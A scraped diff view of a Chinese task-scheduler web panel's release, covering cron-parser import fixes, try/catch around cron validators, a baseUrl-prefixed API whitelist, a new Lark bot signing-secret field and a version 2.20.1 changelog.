"飞书群组机器人:https://www.feishu.cn/hc/zh-CN/articles/360024984973": "飞书群组机器人:https://www.feishu.cn/hc/zh-CN/articles/360024984973",
|
"飞书群组机器人:https://www.feishu.cn/hc/zh-CN/articles/360024984973": "飞书群组机器人:https://www.feishu.cn/hc/zh-CN/articles/360024984973",
|
||||||
|
"飞书群组机器人加签密钥,安全设置中开启签名校验后获得": "飞书群组机器人加签密钥,安全设置中开启签名校验后获得",
|
||||||
"邮箱服务名称,比如126、163、Gmail、QQ等,支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "邮箱服务名称,比如126、163、Gmail、QQ等,支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
|
"邮箱服务名称,比如126、163、Gmail、QQ等,支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "邮箱服务名称,比如126、163、Gmail、QQ等,支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
|
||||||
"邮箱地址": "邮箱地址",
|
"邮箱地址": "邮箱地址",
|
||||||
"SMTP 登录密码,也可能为特殊口令,视具体邮件服务商说明而定": "SMTP 登录密码,也可能为特殊口令,视具体邮件服务商说明而定",
|
"SMTP 登录密码,也可能为特殊口令,视具体邮件服务商说明而定": "SMTP 登录密码,也可能为特殊口令,视具体邮件服务商说明而定",
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ import config from '@/utils/config';
|
|||||||
import { request } from '@/utils/http';
|
import { request } from '@/utils/http';
|
||||||
import { MinusCircleOutlined, PlusOutlined } from '@ant-design/icons';
|
import { MinusCircleOutlined, PlusOutlined } from '@ant-design/icons';
|
||||||
import { Button, Form, Input, Modal, Select, Space, message } from 'antd';
|
import { Button, Form, Input, Modal, Select, Space, message } from 'antd';
|
||||||
import { CronExpressionParser } from 'cron-parser';
|
import CronExpressionParser from 'cron-parser';
|
||||||
import { useEffect, useState } from 'react';
|
import { useEffect, useState } from 'react';
|
||||||
import intl from 'react-intl-universal';
|
import intl from 'react-intl-universal';
|
||||||
import { getScheduleType, scheduleTypeMap } from './const';
|
import { getScheduleType, scheduleTypeMap } from './const';
|
||||||
@@ -91,10 +91,14 @@ const CronModal = ({
|
|||||||
{ required: true },
|
{ required: true },
|
||||||
{
|
{
|
||||||
validator: (_, value) => {
|
validator: (_, value) => {
|
||||||
|
try {
|
||||||
if (!value || CronExpressionParser.parse(value).hasNext()) {
|
if (!value || CronExpressionParser.parse(value).hasNext()) {
|
||||||
return Promise.resolve();
|
return Promise.resolve();
|
||||||
}
|
}
|
||||||
return Promise.reject(intl.get('Cron表达式格式有误'));
|
return Promise.reject(intl.get('Cron表达式格式有误'));
|
||||||
|
} catch (e) {
|
||||||
|
return Promise.reject(intl.get('Cron表达式格式有误'));
|
||||||
|
}
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
]}
|
]}
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ const SaveModal = ({
|
|||||||
|
|
||||||
const handleOk = async (values: any) => {
|
const handleOk = async (values: any) => {
|
||||||
setLoading(true);
|
setLoading(true);
|
||||||
const payload = { ...file, ...values, originFilename: file.title };
|
const payload = { ...values, originFilename: file.title, content: file.content };
|
||||||
request
|
request
|
||||||
.post(`${config.apiPrefix}scripts`, payload)
|
.post(`${config.apiPrefix}scripts`, payload)
|
||||||
.then(({ code, data }) => {
|
.then(({ code, data }) => {
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import {
|
|||||||
} from 'antd';
|
} from 'antd';
|
||||||
import { request } from '@/utils/http';
|
import { request } from '@/utils/http';
|
||||||
import config from '@/utils/config';
|
import config from '@/utils/config';
|
||||||
import { CronExpressionParser } from 'cron-parser';
|
import CronExpressionParser from 'cron-parser';
|
||||||
import isNil from 'lodash/isNil';
|
import isNil from 'lodash/isNil';
|
||||||
|
|
||||||
const { Option } = Select;
|
const { Option } = Select;
|
||||||
@@ -378,6 +378,7 @@ const SubscriptionModal = ({
|
|||||||
{ required: true },
|
{ required: true },
|
||||||
{
|
{
|
||||||
validator: (rule, value) => {
|
validator: (rule, value) => {
|
||||||
|
try {
|
||||||
if (
|
if (
|
||||||
scheduleType === 'interval' ||
|
scheduleType === 'interval' ||
|
||||||
!value ||
|
!value ||
|
||||||
@@ -387,6 +388,9 @@ const SubscriptionModal = ({
|
|||||||
} else {
|
} else {
|
||||||
return Promise.reject(intl.get('Subscription表达式格式有误'));
|
return Promise.reject(intl.get('Subscription表达式格式有误'));
|
||||||
}
|
}
|
||||||
|
} catch (e) {
|
||||||
|
return Promise.reject(intl.get('Subscription表达式格式有误'));
|
||||||
|
}
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
]}
|
]}
|
||||||
|
|||||||
@@ -395,6 +395,12 @@ export default {
|
|||||||
),
|
),
|
||||||
required: true,
|
required: true,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
label: 'larkSecret',
|
||||||
|
tip: intl.get(
|
||||||
|
'飞书群组机器人加签密钥,安全设置中开启签名校验后获得',
|
||||||
|
),
|
||||||
|
},
|
||||||
],
|
],
|
||||||
email: [
|
email: [
|
||||||
{
|
{
|
||||||
|
|||||||
+6
-6
@@ -84,12 +84,12 @@ let _request = axios.create({
|
|||||||
});
|
});
|
||||||
|
|
||||||
const apiWhiteList = [
|
const apiWhiteList = [
|
||||||
'/api/user/login',
|
`${config.baseUrl}api/user/login`,
|
||||||
'/open/auth/token',
|
`${config.baseUrl}open/auth/token`,
|
||||||
'/api/user/two-factor/login',
|
`${config.baseUrl}api/user/two-factor/login`,
|
||||||
'/api/system',
|
`${config.baseUrl}api/system`,
|
||||||
'/api/user/init',
|
`${config.baseUrl}api/user/init`,
|
||||||
'/api/user/notification/init',
|
`${config.baseUrl}api/user/notification/init`,
|
||||||
];
|
];
|
||||||
|
|
||||||
_request.interceptors.request.use((_config) => {
|
_request.interceptors.request.use((_config) => {
|
||||||
|
|||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
import intl from 'react-intl-universal';
|
import intl from 'react-intl-universal';
|
||||||
import { LANG_MAP, LOG_END_SYMBOL } from './const';
|
import { LANG_MAP, LOG_END_SYMBOL } from './const';
|
||||||
import { CronExpressionParser } from 'cron-parser';
|
import CronExpressionParser from 'cron-parser';
|
||||||
import { ICrontab } from '@/pages/crontab/type';
|
import { ICrontab } from '@/pages/crontab/type';
|
||||||
|
|
||||||
export default function browserType() {
|
export default function browserType() {
|
||||||
|
|||||||
+10
-9
@@ -1,10 +1,11 @@
|
|||||||
version: 2.19.2
|
version: 2.20.1
|
||||||
changeLogLink: https://t.me/jiao_long/431
|
changeLogLink: https://t.me/jiao_long/433
|
||||||
publishTime: 2025-06-27 23:59
|
publishTime: 2025-12-26 22:00
|
||||||
changeLog: |
|
changeLog: |
|
||||||
1. 备份数据支持选择模块,支持清除依赖缓存
|
1. 修复获取依赖管理列表
|
||||||
2. QLAPI 和 openapi 的 systemNotify 支持自定义通知类型和参数
|
2. notify.js 修复 TG_PROXY_AUTH 参数拼接
|
||||||
3. ntfy 增加可选的认证与用户动作,感谢 https://github.com/liheji
|
3. QLAPI.notify larkSecret 参数
|
||||||
4. 修复取消安装依赖
|
4. 修复 cron parser 定时规则校验
|
||||||
5. 修复环境变量过大解析报错
|
5. 修复设置 baseUrl 后无法访问
|
||||||
6. 修改服务启动方式
|
6. 修复环境变量排序
|
||||||
|
7. 修复定时任务无法停止
|
||||||
Reference in New Issue
Block a user